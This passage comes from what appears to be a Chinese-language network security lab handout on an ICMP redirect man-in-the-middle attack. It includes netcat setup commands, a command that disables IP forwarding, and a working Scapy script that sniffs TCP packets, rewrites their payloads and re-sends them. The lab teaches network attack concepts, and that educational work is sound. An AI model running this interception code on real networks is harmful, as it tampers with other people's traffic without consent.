Section outline

  • 通过ICMP重定向攻击,可以使受害者使用我们的恶意路由器 10.9.0.111 作为通往 192.168.60.5 的目标路由。因此,从受害者机器发送到此目的地的所有数据包都将通过恶意路由器进行转发。我们希望能够修改受害者的数据包。

    在发起 MITM 攻击之前,我们在受害者的容器中使用 netcat 启动一个TCP客户端和服务端程序。命令如下:

    // 在目标容器192.168.60.5上启动netcat服务:
    # nc -lp 9090
    
    // 在受害者的容器中连接到服务器:
    # nc 192.168.60.5 9090

    一旦建立连接,你可以在受害者机器上输入消息。每行消息都会被放入一个TCP数据包发送至目的地,目的地会简单地显示这些消息。你的任务是将每条消息中的你名字(拼音)出现的地方替换为一系列A。序列的长度应与你名字相同,否则可能会扰乱TCP序号,从而导致整个TCP连接失败。你需要使用真实的名字,以便我们知道工作是由谁完成的。
     
    禁用IP转发。 在设置中,恶意路由器启用了IP转发功能,因此它像一个路由器一样为其他机器转发数据包。当我们发起MITM攻击时,我们必须停止转发IP数据包。我们将拦截这些数据包,对其进行修改,然后重新发送出去。要做到这一点,我们只需在恶意路由器上禁用IP转发即可。

    # sysctl net.ipv4.ip_forward=0
     
     
    MITM代码。 一旦禁用了IP转发,我们的程序需要接管数据包转发角色,当然是在修改数据包后再发送出去。由于数据包的目的地不是我们自己,内核不会将这个数据包传递给我们,而是会丢弃这个数据包。然而,如果我们的程序是一个嗅探器程序,我们将从内核那里获取到这个数据包。因此,我们将使用嗅探和伪造技术来实施这种 MITM 攻击。以下是一个示范程序,用于捕获TCP数据包、对其进行修改后再重新发送。你可以从实验配置文件中找到代码 (mitm_sample.py)。
    #!/usr/bin/env python3
    from scapy.all import *
    
    def spoof_pkt(pkt):
       newpkt = IP(bytes(pkt[IP]))
       del(newpkt.chksum)
       del(newpkt[TCP].payload)
       del(newpkt[TCP].chksum)
    
       if pkt[TCP].payload:
           data = pkt[TCP].payload.load
           print("*** %s, length: %d" % (data, len(data)))
    
           # 字符串替换
           newdata = data.replace(b'seedlabs', b'AAAAAAAA')
           send(newpkt/newdata)
       else:
           send(newpkt)
    
    f = 'tcp'
    pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

    请注意,上述代码捕获了所有 TCP 数据包,包括由程序本身生成的数据包。这是不可取的,因为它会导致无限循环,影响性能。学生需要更改过滤器以确保自己发出的数据包不会被捕捉到。